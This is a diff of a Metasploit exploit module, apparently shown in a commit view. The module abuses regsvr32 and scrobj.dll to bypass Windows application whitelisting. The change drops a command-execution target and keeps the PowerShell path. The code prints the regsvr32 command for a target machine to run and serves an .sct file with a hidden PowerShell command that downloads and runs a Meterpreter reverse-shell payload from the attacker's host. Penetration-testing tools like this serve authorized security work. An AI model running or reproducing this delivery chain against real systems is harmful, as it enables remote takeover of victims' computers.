@@ -29,10 +29,7 @@ def initialize(info = {})
29
29
{
30
30
'Payload' => 'windows/meterpreter/reverse_tcp'
31
31
} ,
32
- 'Targets' => [
33
- [ 'PSH' , { } ] ,
34
- [ 'CMD' , { } ]
35
- ] ,
32
+ 'Targets' => [ [ 'PSH' , { } ] ] ,
36
33
'Platform' => %w( win ) ,
37
34
'Arch' => [ ARCH_X86 , ARCH_X86_64 ] ,
38
35
'DefaultTarget' => 0 ,
@@ -42,17 +39,12 @@ def initialize(info = {})
42
39
[ 'URL' , 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html' ]
43
40
]
44
41
) )
45
- register_options (
46
- [
47
- OptString . new ( 'CMD' , [ false , 'The command to execute (For use with the CMD Target option only)' , '' ] )
48
- ] )
49
42
end
50
43
51
44
52
45
def primer
53
- url = get_uri
54
46
print_status ( 'Run the following command on the target machine:' )
55
- print_line ( "regsvr32 /s /n /u /i:#{ url } .sct scrobj.dll" )
47
+ print_line ( "regsvr32 /s /n /u /i:#{ get_uri } .sct scrobj.dll" )
56
48
end
57
49
58
50
@@ -69,21 +61,15 @@ def on_request_uri(cli, _request)
69
61
70
62
def serve_sct_file
71
63
print_status ( "Handling request for the .sct file from #{ cli . peerhost } " )
72
- url = get_uri
73
- case target . name
74
- when 'PSH'
75
- ignore_cert = Rex ::Powershell ::PshMethods . ignore_ssl_certificate if ssl
76
- download_string = Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url )
77
- download_and_run = "#{ ignore_cert } #{ download_string } "
78
- psh_command = generate_psh_command_line (
79
- noprofile : true ,
80
- windowstyle : 'hidden' ,
81
- command : download_and_run
82
- )
83
- data = gen_sct_file ( psh_command )
84
- when 'CMD'
85
- data = gen_sct_file ( datastore [ 'CMD' ] )
86
- end
64
+ ignore_cert = Rex ::Powershell ::PshMethods . ignore_ssl_certificate if ssl
65
+ download_string = Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( get_uri )
66
+ download_and_run = "#{ ignore_cert } #{ download_string } "
67
+ psh_command = generate_psh_command_line (
68
+ noprofile : true ,
69
+ windowstyle : 'hidden' ,
70
+ command : download_and_run
71
+ )
72
+ data = gen_sct_file ( psh_command )
87
73
send_response ( cli , data , 'Content-Type' => 'text/plain' )
88
74
end
89
75
0 commit comments